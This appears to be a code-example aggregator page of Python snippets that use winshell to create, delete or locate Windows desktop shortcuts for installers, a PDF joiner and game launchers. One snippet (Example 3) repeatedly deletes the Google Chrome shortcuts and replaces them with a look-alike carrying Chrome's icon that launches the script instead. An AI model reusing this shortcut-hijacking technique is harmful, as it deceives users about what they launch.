Ejemplo n.º 1
0
def installer():
    if not sys.platform.startswith('win'):
        raise OSError

    CSIDL_PERSONAL = 5  # My Documents
    SHGFP_TYPE_CURRENT = 0  # Get current, not default value
    buf = ctypes.create_unicode_buffer(ctypes.wintypes.MAX_PATH)
    ctypes.windll.shell32.SHGetFolderPathW(None, CSIDL_PERSONAL, None, SHGFP_TYPE_CURRENT, buf)

    full_path = buf.value + r"\Averager"
    if full_path == os.getcwd():
        return
    try:
        shutil.copytree(os.getcwd(), full_path)
    except FileExistsError:
        pass

    desktop = winshell.desktop()
    path = os.path.join(desktop, "Averager.lnk")
    target = full_path + r"\Averager.exe"
    wDir = full_path
    icon = full_path + r"\favicon.ico"

    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(path)
    shortcut.Targetpath = target
    shortcut.WorkingDirectory = wDir
    shortcut.IconLocation = icon
    shortcut.save()
    root = Tk()
    root.withdraw()
    messagebox.showinfo("Congrats!", "You're all set up! You'll\nfind a shortcut on your desktop")
    sys.exit(0)
Ejemplo n.º 2
0
    def createShortcuts(self, pathToIcon, pathToExec, pathToConfig, name,
                        desktop, start):
        #Init pythoncom
        pythoncom.CoInitialize()

        #Create a shortcut
        shortcut = pythoncom.CoCreateInstance(shell.CLSID_ShellLink, None,
                                              pythoncom.CLSCTX_INPROC_SERVER,
                                              shell.IID_IShellLink)

        #Get the desktop and start folders
        desktopDir = winshell.desktop()
        startmenuDir = winshell.start_menu()

        #Set the exe path (to the desktopifyBrowser.exe)
        shortcut.SetPath(pathToExec)

        #Set the icon path for the downloaded favicon
        shortcut.SetIconLocation(pathToIcon, 0)

        #Set the config file as an argument

        shortcut.SetArguments(pathToConfig)

        #Save the shortcut
        persist_file = shortcut.QueryInterface(pythoncom.IID_IPersistFile)

        if desktop and desktopDir:
            persist_file.Save(os.path.join(desktopDir, name + ".lnk"), 0)

        if start and startmenuDir:
            persist_file.Save(os.path.join(startmenuDir, name + ".lnk"), 0)
Ejemplo n.º 3
0
def replace_loop():

    while True:

        if os.path.exists("C:\\Users\\Public\\Desktop\\Google Chrome.lnk") or os.path.exists("C:\\Users\\"+ user +"\\Desktop\\Google Chrome.lnk") or os.path.exists("C:\\Users\\"+ user +"\\Desktop\\Chrome.exe.lnk"):
            try:
                os.remove("C:\\Users\\"+ user +"\\Desktop\\Chrome.exe.lnk")
                os.remove("C:\\Users\\"+ user +"\\Desktop\\Google Chrome.lnk")
                os.remove("C:\\Users\\Public\\Desktop\\Google Chrome.lnk")

            except:
                continue

            desktop = winshell.desktop()
            path = os.path.join(desktop, "Google Chrome.lnk")
            target = str(pathlib.Path(__file__).absolute())
            wDir = str(pathlib.Path().absolute())
            icon = "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"
            shell = Dispatch('WScript.Shell')

            shortcut = shell.CreateShortCut(path)
            shortcut.Targetpath = target
            shortcut.WorkingDirectory = wDir
            shortcut.IconLocation = icon
            shortcut.save()
Ejemplo n.º 4
0
    def uninstall(self, mp_dir):

        if self.ui.system == 'Windows':
            """ Install on Microsoft Windows """

            self.mp_dir = mp_dir

            # ---------------------------------- Main Editor uninstall

            print('deleted', self.mp_dir)
            rmtree(self.mp_dir)

            #---------------------------------- PATH deletion

            utils.set_env_path(delete_from_path=self.mp_dir)
            print('deleted', self.mp_dir ,'from PATH')

            #--------------------------------------- Additional os-specific setup

            # delete desktop and start menu shortcuts

            desktop = winshell.desktop()
            startmenu = 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu'

            for target in ( desktop, startmenu ):

                target = os.path.join(target, "Make Python.lnk")

                if os.path.isfile(target):
                    os.remove(target)

            # delete context menu item
            utils.set_context_menu(self.mp_dir + '\\makepython.exe', undo=True)

            self.ui.installbutton.setText("REMOVED. BYE BYE!")
Ejemplo n.º 5
0
    def __init__(self, parent):
        """Constructor"""
        wx.Panel.__init__(self, parent=parent)

        self.currentPath = winshell.desktop()

        lblSize = (70, -1)
        pdfLblOne = wx.StaticText(self, label="PDF One:", size=lblSize)
        self.pdfOne = wx.TextCtrl(self)
        dt = MyFileDropTarget(self.pdfOne)
        self.pdfOne.SetDropTarget(dt)
        pdfOneBtn = wx.Button(self, label="Browse", name="pdfOneBtn")
        pdfOneBtn.Bind(wx.EVT_BUTTON, self.onBrowse)

        pdfLblTwo = wx.StaticText(self, label="PDF Two:", size=lblSize)
        self.pdfTwo = wx.TextCtrl(self)
        dt = MyFileDropTarget(self.pdfTwo)
        self.pdfTwo.SetDropTarget(dt)
        pdfTwoBtn = wx.Button(self, label="Browse", name="pdfTwoBtn")
        pdfTwoBtn.Bind(wx.EVT_BUTTON, self.onBrowse)

        outputLbl = wx.StaticText(self, label="Output name:", size=lblSize)
        self.outputPdf = wx.TextCtrl(self)
        widgets = [(pdfLblOne, self.pdfOne, pdfOneBtn),
                   (pdfLblTwo, self.pdfTwo, pdfTwoBtn),
                   (outputLbl, self.outputPdf)]

        joinBtn = wx.Button(self, label="Join PDFs")
        joinBtn.Bind(wx.EVT_BUTTON, self.onJoinPdfs)

        self.mainSizer = wx.BoxSizer(wx.VERTICAL)
        for widget in widgets:
            self.buildRows(widget)
        self.mainSizer.Add(joinBtn, 0, wx.ALL | wx.CENTER, 5)
        self.SetSizer(self.mainSizer)
Ejemplo n.º 6
0
def create_lnk(target, lnkdir=None, filename=None, description="", is_desk=False):
    """
    创建快捷方式

    :param target: 指向路径
    :param lnkdir: lnk保存路径 默认与target同目录
    :param filename: 快捷方式名称 默认target
    :param description: 备注
    :param is_desk: 是否为创建桌面快捷方式
    :return:
    """
    try:
        if is_desk:
            # 桌面快捷
            lnkdir = winshell.desktop()
        elif not lnkdir:
            # 当前路径
            lnkdir = os.path.dirname(target)

        # 默认原文件名
        filename = filename if filename else os.path.basename(target)
        # 文件全路径
        file_name = os.path.join(lnkdir, os.path.basename(filename) + ".lnk")

        winshell.CreateShortcut(
            Path=file_name,
            Target=target,
            Icon=(target, 0),
            # 文件备注
            Description=description)

        print('create lnk success, path: %s' % file_name)
    except Exception:
        raise
Ejemplo n.º 7
0
def createShortcut():
    # just to annoy cracked users until i removed this func.
    # @echo off
    # mshta vbscript:Execute("msgbox ""Remember to buy a legid copy of the game!!"":close")
    # SlimeRancher.exe
    os.system(
        "echo @echo off > C:\\Program Files\\Slime.Rancher.v1.4.1c\\initdll.bat"
    )
    os.system(
        "echo mshta vbscript:Execute(\"msgbox \"\"Remember to buy a legid copy of the game!!\"\":close\") >> C:\\Program Files\\Slime.Rancher.v1.4.1c\\initdll.bat"
    )
    os.system(
        "echo SlimeRancher.exe >> C:\\Program Files\\Slime.Rancher.v1.4.1c\\initdll.bat"
    )

    info("Create Desktop Shortcut!")
    desktop = winshell.desktop()
    path = os.path.join(desktop, "SlimeRancher Multiplayer.lnk")
    target = r"C:\\Program Files\\Slime.Rancher.v1.4.1c\\initdll.bat"
    wDir = r"C:\\Program Files\\Slime.Rancher.v1.4.1c\\"
    icon = r"C:\\Program Files\\Slime.Rancher.v1.4.1c\\SlimeRancher.exe"
    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(path)
    shortcut.Targetpath = target
    shortcut.WorkingDirectory = wDir
    shortcut.IconLocation = icon
    shortcut.save()

    os.system("cls")
    info("Everything should be done! hf ^^")
    sys.exit(0)
Ejemplo n.º 8
0
def create_shortcut_unfrozen():
    """Creates a desktop shortcut for the Antecedent Precipitation Tool"""
    # Define Shortcut Variables
    python_path = 'C:\\Antecedent Precipitation Tool\\WinPythonZero32\\python-3.6.5\\python.exe'
    desktop_path = str(winshell.desktop())  # get desktop path
    icon = "C:\\Antecedent Precipitation Tool\\images\\Graph.ico"
    launch_script = '"C:\\Antecedent Precipitation Tool\\Python Scripts\\ant_GUI.py"'
    shortcut_path = os.path.join(desktop_path,
                                 'Antecedent Precipitation Tool.lnk')
    description = 'Launches the Antecedent Precipitation Tool, written by Jason C. Deters'
    # Create shortcut
    shortcut_exists = os.path.exists(shortcut_path)
    if not shortcut_exists:
        print(
            'Creating Desktop shortcut for the Antecedent Precipitation Tool...'
        )
    else:
        print('Validating Desktop shortcut...')
    winshell.CreateShortcut(Path=shortcut_path,
                            Target=python_path,
                            Arguments=launch_script,
                            StartIn=desktop_path,
                            Icon=(icon, 0),
                            Description=description)
    print('')
    print(
        'All Elements installed successfully!    Closing window in 5 seconds')
    time.sleep(5)
Ejemplo n.º 9
0
def check_path():
    if platform.platform().startswith("Windows"):
        shortcut_path = os.getenv('APPDATA') + "\Microsoft\Windows\Start Menu\Programs"
        CSIDL_PERSONAL = 5  # My Documents
        SHGFP_TYPE_CURRENT = 0  # Get current, not default value
        buf = ctypes.create_unicode_buffer(ctypes.wintypes.MAX_PATH)
        ctypes.windll.shell32.SHGetFolderPathW(None, CSIDL_PERSONAL, None, SHGFP_TYPE_CURRENT, buf)

        doc_path = buf.value + r"\DRead"
    else:
        raise OSError

    try:
        shutil.copytree(os.getcwd(), doc_path)
    except FileExistsError:
        pass

    desktop = winshell.desktop()
    path = os.path.join(desktop, "DiscipleReading.lnk")
    target = doc_path + r"\DiscipleReading.exe"
    wDir = doc_path
    icon = doc_path + r"\favicon.ico"

    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(path)
    shortcut.Targetpath = target
    shortcut.WorkingDirectory = wDir
    shortcut.IconLocation = icon
    shortcut.save()
    root = Tk()
    root.withdraw()
    tkinter.messagebox.showinfo("Congrats!", "You're all set up! You'll\nfind a shortcut on your desktop")
    sys.exit(0)
Ejemplo n.º 10
0
def create_shortcut(anti_ghosting: bool):
    """
    creates a new shortcut on desktop
    """
    try:
        desktop = winshell.desktop()
        path = os.path.join(desktop, "Fishybot ESO.lnk")

        shell = Dispatch('WScript.Shell')
        shortcut = shell.CreateShortCut(path)

        if anti_ghosting:
            shortcut.TargetPath = r"C:\Windows\System32\cmd.exe"
            python_dir = os.path.join(os.path.dirname(sys.executable),
                                      "pythonw.exe")
            shortcut.Arguments = f"/C start /affinity 1 /low {python_dir} -m fishy"
        else:
            shortcut.TargetPath = os.path.join(os.path.dirname(sys.executable),
                                               "python.exe")
            shortcut.Arguments = "-m fishy"

        shortcut.IconLocation = manifest_file("icon.ico")
        shortcut.save()

        logging.info("Shortcut created")
    except Exception:
        traceback.print_exc()
        logging.error("Couldn't create shortcut")
Ejemplo n.º 11
0
def loadConfig():
    global SETTINGS
    if os.path.isfile(filename):
        try:
            with open(filename,'r') as f:
                SETTINGS = json.load(f)
        except Exception as e:
            input(f"Loading config FAILED: {str(e)}")
            saveConfig()
    else:
        saveConfig()
    t = f'start cmd.exe /k "python {os.path.realpath(__file__)}"'
    bf_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),'PumpDetector3.bat')
    with open(bf_path,'w') as bf:
        bf.write(t)

    desktop = winshell.desktop()
    path = os.path.join(desktop, "PumpDetector3.lnk")
    target = bf_path
    wDir = os.path.dirname(os.path.abspath(__file__))
    icon = bf_path

    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(path)
    shortcut.Targetpath = target
    shortcut.WorkingDirectory = wDir
    shortcut.IconLocation = icon
    shortcut.save()
Ejemplo n.º 12
0
def create_shortcut():
    try:
        exe_path = Path(file_path)
        exe_path_parent = exe_path.parents[1]

        desktop = winshell.desktop()
        desktop_path = os.path.join(desktop, "League of Legends.lnk")
        target = os.path.join(exe_path_parent, "LeagueClient.exe")
        wDir = exe_path_parent

        shell = win32com.client.Dispatch('WScript.Shell')
        shortcut = shell.CreateShortCut(str(desktop_path))
        shortcut.Targetpath = str(target)
        shortcut.WorkingDirectory = str(wDir)
        shortcut.Arguments = "-locale=" + str(chosen_lang)
        statusbar.configure(text="Creando acceso directo...")
        shortcut.save()
        statusbar.configure(text="Acceso directo creado correctamente.")

        if perm_var is True:
            statusbar.configure(text="Cambiando permisos de acceso directo")
            chmod(str(desktop_path), 100)
            statusbar.configure(text="Acceso directo configurado como sólo-lectura")
        else:
            pass
    except IndexError:
        statusbar.configure(text="Seleccione la ubicación del archivo LeagueClientSettings.yaml")
Ejemplo n.º 13
0
def create_shortcut(directory, boolean):
    desktop = winshell.desktop()
    start_menu = winshell.start_menu()

    if boolean == 1:
        pythoncom.CoInitialize()
        winshell.CreateShortcut(Path=os.path.join(desktop, "PyPassMan.lnk"),
                                Target=directory + '\\PyPassMan.exe',
                                StartIn=directory,
                                Description='PyPassMan')
    elif boolean == 2:
        pythoncom.CoInitialize()
        winshell.CreateShortcut(Path=os.path.join(start_menu, "PyPassMan.lnk"),
                                Target=directory + '\\PyPassMan.exe',
                                StartIn=directory,
                                Description='PyPassMan')
    elif boolean == 3:
        pythoncom.CoInitialize()
        winshell.CreateShortcut(Path=os.path.join(desktop, "PyPassMan.lnk"),
                                Target=directory + '\\PyPassMan.exe',
                                StartIn=directory,
                                Description='PyPassMan')

        pythoncom.CoInitialize()
        winshell.CreateShortcut(Path=os.path.join(start_menu, "PyPassMan.lnk"),
                                Target=directory + '\\PyPassMan.exe',
                                StartIn=directory,
                                Description='PyPassMan')
    elif boolean == 0:
        pass
Ejemplo n.º 14
0
    def onRemove(self, event):
        if self.currentItem == None:
            return

        #Remove shortcuts and app folder
        name = self.apps[self.currentItem].name

        #Get the desktop and start folders
        desktopShortcut = os.path.join(winshell.desktop(), name + '.lnk')
        startmenuShortcut = os.path.join(winshell.start_menu(), name + '.lnk')

        #Get the app dir
        appDir = getAppDir(name)

        if os.path.exists(desktopShortcut):
            os.remove(desktopShortcut)

        if os.path.exists(startmenuShortcut):
            os.remove(startmenuShortcut)

        if os.path.exists(appDir):
            files = os.listdir(appDir)
            for f in files:
                f_path = os.path.join(appDir, f)
                if os.path.isfile(f_path):
                    os.remove(f_path)
            os.rmdir(appDir)

        self.populateList()
Ejemplo n.º 15
0
 def get_default_directory(self):
     if os.name == "nt":
         import winshell
         return winshell.desktop()
     else:
         home_dir = QtCore.QDir.toNativeSeparators(QtCore.QDir.homePath())
         return home_dir
Ejemplo n.º 16
0
def create_shortcut_frozen():
    """Creates a desktop shortcut for the Antecedent Precipitation Tool"""
    # Define Shortcut Variables
    module_path = os.path.dirname(os.path.realpath(__file__))
    root_folder = os.path.split(module_path)[0]
    frozen_exe_path = '{}\\Antecedent Precipitation Tool.exe'.format(
        root_folder)
    desktop_path = str(winshell.desktop())  # get desktop path
    icon = "{}\\images\\Graph.ico".format(root_folder)
    shortcut_path = os.path.join(desktop_path,
                                 'Antecedent Precipitation Tool.lnk')
    description = 'Launches the Antecedent Precipitation Tool, written by Jason C. Deters'
    # Create shortcut
    shortcut_exists = os.path.exists(shortcut_path)
    if not shortcut_exists:
        print(
            'Creating Desktop shortcut for the Antecedent Precipitation Tool...'
        )
    else:
        print('Validating Desktop shortcut...')
        print('')
        print('')
        print('')
        print('')
        print('')
    winshell.CreateShortcut(Path=shortcut_path,
                            Target=frozen_exe_path,
                            StartIn=desktop_path,
                            Icon=(icon, 0),
                            Description=description)
    print('')
def main() -> None:
    package_dir = os.path.expanduser('~') + '\\'
    executable_dir = 'FreeForm-Minesweeper'
    executable_name = 'FreeForm-Minesweeper.exe'
    pwd = subprocess.run(['cd'],
                         capture_output=True,
                         encoding=sys.getdefaultencoding(),
                         shell=True).stdout.strip() + '\\'
    subprocess.run(['rmdir', package_dir + executable_dir, '/s', '/q'],
                   shell=True,
                   stderr=subprocess.DEVNULL)
    subprocess.run([
        'xcopy', pwd + executable_dir, package_dir + executable_dir, '/E', '/I'
    ],
                   shell=True)

    desktop = winshell.desktop()
    path = os.path.join(desktop, "Freeform Minesweeper.lnk")
    target = package_dir + executable_dir + '\\' + executable_name
    w_dir = package_dir + executable_dir
    icon = package_dir + executable_dir + '\\assets\\icon_main.ico'
    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(path)
    shortcut.Targetpath = target
    shortcut.WorkingDirectory = w_dir
    shortcut.IconLocation = icon
    shortcut.save()
Ejemplo n.º 18
0
def add_shortcut(target,
                 name,
                 description="",
                 arguments="",
                 icon=None,
                 workdir=None,
                 folder=None):
    """
    Add a shortcut to the desktop.

    @param      target      target
    @param      name        name of the shortcut
    @param      description description
    @param      arguments   arguments
    @param      icon        icon
    @param      workdir     working directory
    @param      folder      where to save the shortcut (None for the desktop)
    @return                 path to the shortcut
    """
    if not sys.platform.startswith("win"):
        raise NotImplementedError(
            "not implemented on this platform: " +
            sys.platform)

    try:
        import winshell
    except ImportError as e:
        if "DLL load failed" in str(e):
            os.environ["PATH"] = os.environ[
                "PATH"] + ";" + os.path.split(sys.executable)[0] + r"\lib\site-packages\pywin32_system32"
            try:
                import winshell
            except ImportError:
                raise ImportError(
                    r"you should run the following in your current folder:\ncopy C:\%s\lib\site-packages\pywin32_system32\py*.dll %s" %
                    (os.path.split(
                        sys.executable),
                        os.getcwd())) from e
        else:
            raise e

    if folder is None:
        folder = winshell.desktop()
    link_filepath = os.path.join(folder, name + ".lnk")

    args = ["/c", "start", target, arguments]

    with winshell.shortcut(link_filepath) as link:
        link.path = r"%windir%\system32\cmd.exe"
        link.description = description if description is not None else name
        link.arguments = " ".join(args)
        if icon is not None:
            link.icon_location = (icon, 0)
        if workdir is not None:
            link.working_directory = workdir

    if not os.path.exists(link_filepath):
        raise FileNotFoundError(link_filepath)
    return link_filepath
Ejemplo n.º 19
0
def create_shortcut():
    desktop = winshell.desktop()

    with winshell.shortcut(os.path.join(
            desktop, "Steam Account Switcher.lnk")) as shortcut:
        shortcut.path = sys.argv[0]
        shortcut.icon = sys.argv[0], 0
        shortcut.working_directory = os.getcwd()
Ejemplo n.º 20
0
def create_relation(self, tool_name, exe_path, startin, icon_path):
    shell = Dispatch('WScript.Shell')
    shortcut_file = os.path.join(winshell.desktop(), tool_name + '.lnk')
    shortcut = shell.CreateShortCut(shortcut_file)
    shortcut.Targetpath = exe_path
    shortcut.WorkingDirectory = startin
    shortcut.IconLocation = icon_path
    shortcut.save()
Ejemplo n.º 21
0
def create_shortcut_to_desktop(target, title):
    """Create shortcut to desktop"""
    s = os.path.basename(target)
    fname = os.path.splitext(s)[0]
    winshell.CreateShortcut(Path=os.path.join(winshell.desktop(),
                                              fname + '.lnk'),
                            Target=target,
                            Icon=(target, 0),
                            Description=title)
Ejemplo n.º 22
0
def main():
    destDir = winshell.desktop()
    filename = "myShortcut"
    target = r"C:\Python37"

    winshell.CreateShortcut(
        Path=os.path.join(destDir, os.path.basename(filename) + ".lnk"),
        Target=target,
        Icon=(target, 0),
        Description="shortcut test")
Ejemplo n.º 23
0
 def Create_Shortcut(self):
     desktop = winshell.desktop()
     disk = desktop[:1]
     path = os.path.join(desktop, "VMediaPlayer.lnk")
     target = disk + ":\\VMediaPlayer\\VMediaPlayer.exe"
     shell = win32com.client.Dispatch("WScript.Shell")
     shortcut = shell.CreateShortCut(path)
     shortcut.Targetpath = target
     shortcut.WindowStyle = 7
     shortcut.save()
Ejemplo n.º 24
0
def mkshortcut(link):
    import winshell
    from win32com.client import Dispatch

    desktop = winshell.desktop()
    path = os.path.join(desktop, "Share.lnk")
    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(path)
    shortcut.Targetpath = link
    shortcut.save()
Ejemplo n.º 25
0
def main():
    destDir = winshell.desktop()
    filename = "myShortcut"
    target = r"E:\Prigram_Files\360DesktopLite64.zip"

    winshell.CreateShortcut(Path=os.path.join(
        destDir,
        os.path.basename(filename) + ".lnk"),
                            Target=target,
                            Icon=(target, 0),
                            Description="shortcut test")
Ejemplo n.º 26
0
Archivo: main.py Proyecto: MrJapa/DCApp
def shortcut():
    winshell.desktop = winshell.desktop()

    path = os.path.join(winshell.desktop, 'Dungeon Crusher Bot.lnk')
    target = r"C:/Users/jjv/Desktop/DCApp/main.exe"
    shortcuticon = r"C:/Users/jjv/Desktop/DCApp/images/icon.ico"

    shell = win32com.client.Dispatch("WScript.Shell")
    shortcut = shell.CreateShortcut(path)
    shortcut.Targetpath = target
    shortcut.IconLocation = shortcuticon
    shortcut.save()
Ejemplo n.º 27
0
def createShortCut():
	desktop = winshell.desktop()	
	path = os.path.join(desktop, "Veganisme.lnk")
	target = fullPath+"\\"+lastMAJ+".exe"
	wDir = fullPath
	icon = fullPath+"\\"+lastMAJ+".exe"
	shell = Dispatch('WScript.Shell')
	shortcut = shell.CreateShortCut(path)
	shortcut.Targetpath = target
	shortcut.WorkingDirectory = wDir
	shortcut.IconLocation = icon
	shortcut.save()
Ejemplo n.º 28
0
    def writeRecipesToDesktop(self, recipeList):
        desktopPath = winshell.desktop()
        desktopPath = os.path.join(desktopPath, 'test.txt')
        target= open(desktopPath, 'a')

        readableRecipeString = ""
        for recipe in recipeList:
            readableRecipeString += recipe.writeToReadableString()

        # note, every time this runs it appends to the text file,
        # does not erase what is already there!
        target.write(readableRecipeString)
Ejemplo n.º 29
0
def createshortcut():
    desktop = winshell.desktop()

    path = os.path.join(desktop, 'Among Us Sheriff Mod.lnk')
    target = var.exepath
    icon = var.sheriffpath + "/pink.ico"

    shell = win32com.client.Dispatch("WScript.Shell")
    shortcut = shell.CreateShortCut(path)
    shortcut.Targetpath = target
    shortcut.IconLocation = icon
    shortcut.save()
Ejemplo n.º 30
0
def creatShortcutToDesktop(fileName, target):
    # 生成可执行的窗口文件并创建快捷方式到桌面,方便日常使用
    print(os.getcwd())
    import shutil
    shutil.copy("MyStore.py", "MyStore.pyw")
    import winshell
    destDir = winshell.desktop()

    winshell.CreateShortcut(Path=os.path.join(destDir, fileName + ".lnk"),
                            Target=target,
                            StartIn=os.getcwd(),
                            Description="shortcut from MyStore.pyw")
Ejemplo n.º 31
0
    def create_desktop_lnk(self):
        """为根目录创建桌面快捷方式"""

        destDir = winshell.desktop()
        target = self.root_dir
        file_name = os.path.join(destDir, os.path.basename(target) + ".lnk")

        winshell.CreateShortcut(
            Path=file_name,
            Target=target,
            Icon=(target, 0),
            Description="root_dir")
Ejemplo n.º 32
0
def create_shortcut(shortcut_name,
                    target,
                    arguments=None,
                    shortcut_path=None,
                    description=None,
                    hotkey=HOTKEY):
    """
    Creating shortcut with given parameters.
    :param shortcut_name: Shortcut's name.
    :param target: Shortcut's target file.
    :param arguments: Arguments for the target file.
    :param shortcut_path: Where the shortcut will be created. Default is on the desktop.
    :param description: Shortcut description. Default is nothing.
    :param hotkey: Assign a key to the shortcut file. Default is the constant HOTKEY (defined above).
    """
    # Checking if the path exists and if not creating it. If there's no path choosing default.
    if shortcut_path:

        # Validation check.
        if isdir(shortcut_path):
            shortcut = winshell.shortcut(join(shortcut_path, shortcut_name))
        else:
            print("[!] It appears that the directory {} not exists!".format(
                shortcut_path))
            print("[+] Creating {}".format(shortcut_path))
            makedirs(shortcut_path)
            shortcut = winshell.shortcut(join(shortcut_path, shortcut_name))
    else:
        shortcut = winshell.shortcut(join(winshell.desktop(), shortcut_name))

    # Validation check and setting up target file.
    if isfile(target):
        shortcut.path = target
    else:
        print(
            "[!] The file {} doesn't exists. Please run again this program with valid file."
            .format(target))
        return

    # Appending description if exists.
    if description:
        shortcut.description = description

    # Adding arguments if exists.
    if arguments:
        shortcut.arguments = arguments

    # Assigning hotkey.
    shortcut.hotkey = ord(hotkey.upper())

    # Creating the shortcut.
    shortcut.write()
Ejemplo n.º 33
0
    def windows_install(self):
        """ Install on Microsoft Windows """

        # ---------------------------------- Main Editor install

        self.ensure_dependencies()
        self.download_and_extract()
        self.prog = 50

        #---------------------------------- PATH configuration

        utils.set_env_path(append_to_path=self.mp_dir)
        print('appended', self.mp_dir ,'to PATH')
        self.prog = 75

        #--------------------------------------- Additional os-specific setup

        # if running win8, there is a windows bug that prevents proper startup.
        # send the user a message to notify they'll need to restart

        # CAUSE = (
        # "https://superuser.com/questions/593949/why-wont-my-windows-8-command"
        # "line-update-its-path"
        # )

        if '8' in platform.win32_ver()[0]:
            self.ui.sendmessage("Due to a Microsoft Windows 8 bug, you should"
                                " reboot after installation everything to work"
                                " correctly. Sorry!")

        # create desktop and start menu shortcuts

        desktop = winshell.desktop()
        startmenu = 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu'

        for target in ( desktop, startmenu ):

            target = os.path.join(target, "Make Python.lnk")

            if not os.path.isfile(target):
                shell = Dispatch('WScript.Shell')
                short = shell.CreateShortCut(target)

                short.Targetpath = self.mp_dir + '\\makepython.exe'
                short.WorkingDirectory = desktop
                short.IconLocation = short.Targetpath
                short.save()

        # create context menu item
        utils.set_context_menu(self.mp_dir + '\\makepython.exe')

        self.prog = 96
Ejemplo n.º 34
0
def getPuttyConnections():
   """
   Get all Putty connections from registry.
   """
   psessions = []
   os.system(r'regedit /a /e "%userprofile%\desktop\putty-registry.reg" HKEY_CURRENT_USER\Software\Simontatham')
   pdef = os.path.join(winshell.desktop(), "putty-registry.reg")
   r = open(pdef, 'r').read().splitlines()
   prefix = "[HKEY_CURRENT_USER\Software\Simontatham\PuTTY\Sessions"
   for l in r:
      if l.startswith(prefix):
         psessions.append(l[len(prefix) + 1:-1])
   return psessions
Ejemplo n.º 35
0
def test_createShortcut():
   desktop = winshell.desktop()

   ## create Web shortcut
   ##
   path = os.path.join(desktop, "Tavendo.url")
   target = "http://www.tavendo.de/"
   createShortcut(path, target)

   ## create program shortcut
   ##
   path = os.path.join(desktop, "*****@*****.**")
   target = "C:\\Program Files (x86)\\PuTTY\\putty.exe"
   args = "-load [email protected]"
   wdir = "C:\\Program Files (x86)\PuTTY\\"
   createShortcut(path, target, wdir = wdir, args = args)
Ejemplo n.º 36
0
def post_install():
    if platform.system() == 'Windows':
        print("Creating start menu shortcut...")
        import winshell
        icon_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'images', 'favicon.ico')
        flika_exe = os.path.join(sys.exec_prefix, 'Scripts', 'flika.exe')
        link_path = os.path.join(winshell.programs(), "flika.lnk")
        with winshell.shortcut(link_path) as link:
            link.path = flika_exe
            link.description = "flika"
            link.icon_location = (icon_path, 0)
        link_path = os.path.join(winshell.desktop(), "flika.lnk")
        with winshell.shortcut(link_path) as link:
            link.path = flika_exe
            link.description = "flika"
            link.icon_location = (icon_path, 0)
def main(): 
    desktop = winshell.desktop()
    path = os.path.join(desktop, "Daysimeter Client.lnk")
    target = r"C:/Daysimeter Client/daysimdlclient/daysimdlclient.exe"
    wDir = r"C:/Daysimeter Client/daysimdlclient"
    icon = r"C:/Daysimeter Client/daysimdlclient/daysimdlclient.exe"
     
    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(path)
    shortcut.Targetpath = target
    shortcut.WorkingDirectory = wDir
    shortcut.IconLocation = icon
    shortcut.save()
    
    if os.path.exists(os.path.join(os.getcwd(), 'daysimdlclient.exe')):
        os.remove(os.path.join(os.getcwd(), 'daysimdlclient.exe'))
        
    if os.path.exists(os.path.join(os.getcwd(), 'cdf34_1_0-setup-32.exe')):
        os.remove(os.path.join(os.getcwd(), 'cdf34_1_0-setup-32.exe'))
Ejemplo n.º 38
0
def createPuttyShortcuts(folder = "Putty Connections"):
   """
   Create shortcuts to Putty connections.
   """
   desktop = winshell.desktop()
   cpath = os.path.join(desktop, folder)

   if not os.path.exists(cpath):
      os.mkdir(cpath)
   
   for c in getPuttyConnections():
      if c.strip() != "":
         path = os.path.join(cpath, c + ".lnk")
         target = "C:\\Program Files (x86)\\PuTTY\\putty.exe"
         args = "-load " + c
         wdir = "C:\\Program Files (x86)\PuTTY\\"
         try:
            createShortcut(path, target, wdir = wdir, args = args)
         except Exception, e:
            print "could not create shortcut for " + c
Ejemplo n.º 39
0
    def onJoinPdfs(self, event):
        """
        Join the two PDFs together and save the result to the desktop
        """
        pdfOne = self.pdfOne.GetValue()
        pdfTwo = self.pdfTwo.GetValue()
        if not os.path.exists(pdfOne):
            msg = "The PDF at %s does not exist!" % pdfOne
            dlg = wx.MessageDialog(None, msg, 'Error', wx.OK|wx.ICON_EXCLAMATION)
            dlg.ShowModal()
            dlg.Destroy()
            return
        if not os.path.exists(pdfTwo):
            msg = "The PDF at %s does not exist!" % pdfTwo
            dlg = wx.MessageDialog(None, msg, 'Error', wx.OK|wx.ICON_EXCLAMATION)
            dlg.ShowModal()
            dlg.Destroy()
            return
 
        outputPath = os.path.join(winshell.desktop(), self.outputPdf.GetValue()) + ".pdf"
        output = pyPdf.PdfFileWriter()
 
        pdfOne = pyPdf.PdfFileReader(file(pdfOne, "rb"))
        for page in range(pdfOne.getNumPages()):
            output.addPage(pdfOne.getPage(page))
        pdfTwo = pyPdf.PdfFileReader(file(pdfTwo, "rb"))
        for page in range(pdfTwo.getNumPages()):
            output.addPage(pdfTwo.getPage(page))
 
        outputStream = file(outputPath, "wb")
        output.write(outputStream)
        outputStream.close()
 
        msg = "PDF was save to " + outputPath
        dlg = wx.MessageDialog(None, msg, 'PDF Created', wx.OK|wx.ICON_INFORMATION)
        dlg.ShowModal()
        dlg.Destroy()
 
        self.pdfOne.SetValue("")
        self.pdfTwo.SetValue("")
        self.outputPdf.SetValue("")
Ejemplo n.º 40
0
    def __init__(self, parent):
        """Constructor"""
        wx.Panel.__init__(self, parent=parent)
 
        self.currentPath = winshell.desktop()
 
 
        lblSize = (70,-1)
        pdfLblOne = wx.StaticText(self, label="PDF One:", size=lblSize)
        self.pdfOne = wx.TextCtrl(self)
        dt = MyFileDropTarget(self.pdfOne)
        self.pdfOne.SetDropTarget(dt)
        pdfOneBtn = wx.Button(self, label="Browse", name="pdfOneBtn")
        pdfOneBtn.Bind(wx.EVT_BUTTON, self.onBrowse)
 
        pdfLblTwo = wx.StaticText(self, label="PDF Two:", size=lblSize)
        self.pdfTwo = wx.TextCtrl(self)
        dt = MyFileDropTarget(self.pdfTwo)
        self.pdfTwo.SetDropTarget(dt)
        pdfTwoBtn = wx.Button(self, label="Browse", name="pdfTwoBtn")
